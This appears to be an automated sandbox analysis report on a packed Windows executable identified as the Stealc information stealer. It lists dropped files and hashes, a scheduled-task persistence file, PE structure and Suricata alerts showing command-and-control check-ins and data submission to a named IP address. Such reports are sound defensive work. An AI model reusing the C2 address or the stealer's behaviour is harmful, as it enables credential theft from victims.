Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1732326819);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11703
Entropy (8bit):	5.467748018861326
Encrypted:	false
SSDEEP:	192:NnPOeRnLYbBp6fJ0aX+H6SEXKKNjwn5RHWNBw8d4Sl:pDeGJUadjyHEwX0
MD5:	0D9B531C668BE5804D53240AB692E35F
SHA1:	987871BDB602BF5EDF05A06DCDAD71328BE366C6
SHA-256:	474231A9577D4BEE37B227B5EE544029711BC64AF45D9D245861AC0936EEB408
SHA-512:	8248C8D8F77379D8DBCC9EB6396BE45E8B8E2FDFE398422AE8ACD4466B719CFB0F757BC33BFBEA6EE2327EA3634610284775E7A1D7B47ABB4ED61BF95DB5E2CA
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1732326819);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\DocumentsIDHCGDAFBK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1920000
Entropy (8bit):	7.952356217996483
Encrypted:	false
SSDEEP:	49152:8vB0uAvFQWCY5RctB17VNEwvBLGqMUwUEor2Mp:+B0FQdmCBNV3puUhP
MD5:	066CBA2D7733BA1CF42FB68AB5E404A6
SHA1:	9242932A584DAD639C7366054592089D8B436714
SHA-256:	BEE7221ED233C2F0C6309199BEA905C595543FFF90790EF42A4985C9301A86E1
SHA-512:	93541A04D5A9AB45F5BFC8EFFAED08840DB76CAAB826CB2D85455481B541B9C6E243226CAA20234FF614AF7816021A0185A26317E89877D4212CC5566DAABDDE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L......a....@.................................W...k.......H....................]L.............................8]L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...ahcdwdtv.0...02.....................@...vxynmcwl.....`L......&..............@....taggant.0...pL.."...*..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIDHCGDAFBK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4239311770439427
Encrypted:	false
SSDEEP:	6:hispVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBzlIct0:hHuQ1CGAFifXVBz6ct0
MD5:	95D93AFACE7345024CE6A4510738D6C9
SHA1:	C5853D989D7BB89EE280271A77623941C76A7FAB
SHA-256:	88856B78450A2AE384D47FBDE1EF303D2C41540531AD69634931C70212458373
SHA-512:	BE52174522CE955D0CE5213B2E186DAE9886F4A5A535D9949FB512138BF9319FFBCBA01F352410867AC23BEC04541C214F638B7118F113DAB0F7C7BACDE736D3
Malicious:	false
Preview:	......zf..G._>.....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (793)
Category:	downloaded
Size (bytes):	798
Entropy (8bit):	5.146020765362721
Encrypted:	false
SSDEEP:	24:Ghe+KoT+IcBHslgT9lCuABuoB7HHHHHHHYqmffffffo:Ghe5oTxcKlgZ01BuSEqmffffffo
MD5:	84E382F8877B486A14ED954446C4A463
SHA1:	4969747D705E0A3D3A4682CE914448350DC4E979
SHA-256:	298E67D133024C2BEA336C1BBB5AA83DBE57CB29BD730C61B546C1C8ABB797A3
SHA-512:	FC84462B68974421A663D1A3FF86AB249E5CE5BE7CDF859C77DDCAFD4AC55ED1476E2C983AB6BC94F65A7C9F827B9585478AE6417A0BC068F18297366F61B47C
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["google chrome browser","2025 coachella lineup","james webb telescope","us navy yeoman kendra mcdaniel","nascar lawsuit appeal 23xi frm","monopoly go space sprouts rewards","cash app class action lawsuit","summer situationship full movie"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435484468270398
Encrypted:	false
SSDEEP:	3072:fZkXyPqO7UX1Hme9kZbs4Voc5PSnXqwQ2i6o:fSyWFHrp4Voc5PSnawQ8o
MD5:	053A3AA7F52029A9D7E992E337904F3B
SHA1:	1299201F8E4869895A93A0E221E0B7BAEAB32E32
SHA-256:	8F5E02ABE1879417F858E1EE21673A47C7B4869DA3152B48FB760533926F9138
SHA-512:	71C40261DDD11900EFCE1981AF31B0934407A34186EDD316BE6EC7591AC08E0B9F520ABC978DA6E99C17C4192EE9C213CC0164A101443D105B67BB856C14A629
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949250678712165
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'769'472 bytes
MD5:	d54b0c8f7977a9e67948bab655fb380e
SHA1:	0ddd15bf45362013fb845f4b6155ab40f039cafe
SHA256:	bba96c9d29c016a476eb149b7bda86ef059dc25246555f4212d95be8f98e3859
SHA512:	839c0605b497a6e38040dc2d6e261ee803d41149177b87928d29b9d7302c7a59e10732cdffc2a990b016cdf8899a782f3f25307717709ee27b5f51928afc4ddd
SSDEEP:	49152:FNudjp3W9Su9p1y9+Wup3FGoL0XcS+kPe:/unGwejH00kPe
TLSH:	6085338B242BA916CB9DCFB107BF824ADC12991D094F6FB1D456092EFEF7E356B14084
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3994B1560Ah
pmaxub mm3, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F3994B15672h
push esi
dec edx
popad
je 00007F3994B1566Bh
push edx
dec esi
jc 00007F3994B1567Ah
cmp byte ptr [ebx], dh
push edx
jns 00007F3994B15647h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F3994B1564Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F3994B15657h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F3994B1564Ch
dec eax
dec ebp
jo 00007F3994B15643h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F3994B15650h
insd
jnc 00007F3994B15670h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F3994B15658h
push edx
insb
js 00007F3994B15671h
outsb
inc ecx
jno 00007F3994B15652h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F3994B1564Ch
dec ebx
js 00007F3994B15643h
jne 00007F3994B15631h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F3994B1565Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F3994B1563Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F3994B15673h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	3367e6a8044fcafb49289eb200c77650	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	02a41151613014b7a27e78c39d91a9ea	False	0.798828125	data	6.061046215904076	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x297000	0x200	830fd916a5497a790f4a8b327f4a0988	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vrtduuah	0x4e3000	0x197000	0x196200	3b178ed6219d1a81704f1c3caf61b78b	False	0.9946846625884888	data	7.952627665229511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ggmsrgqs	0x67a000	0x1000	0x400	0a86ed8cb277c12eda47540b951a2b06	False	0.7705078125	data	6.047009592825191	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67b000	0x3000	0x2200	c78184b9cd187ca2de48878a28b67b52	False	0.39889705882352944	DOS executable (COM)	4.275138934447771	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x678f44	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T01:14:00.923664+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-23T01:14:01.398762+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-23T01:14:01.721014+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-23T01:14:02.049742+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-23T01:14:02.179153+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-23T01:14:03.617334+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-23T01:14:04.326550+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-23T01:14:26.288533+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
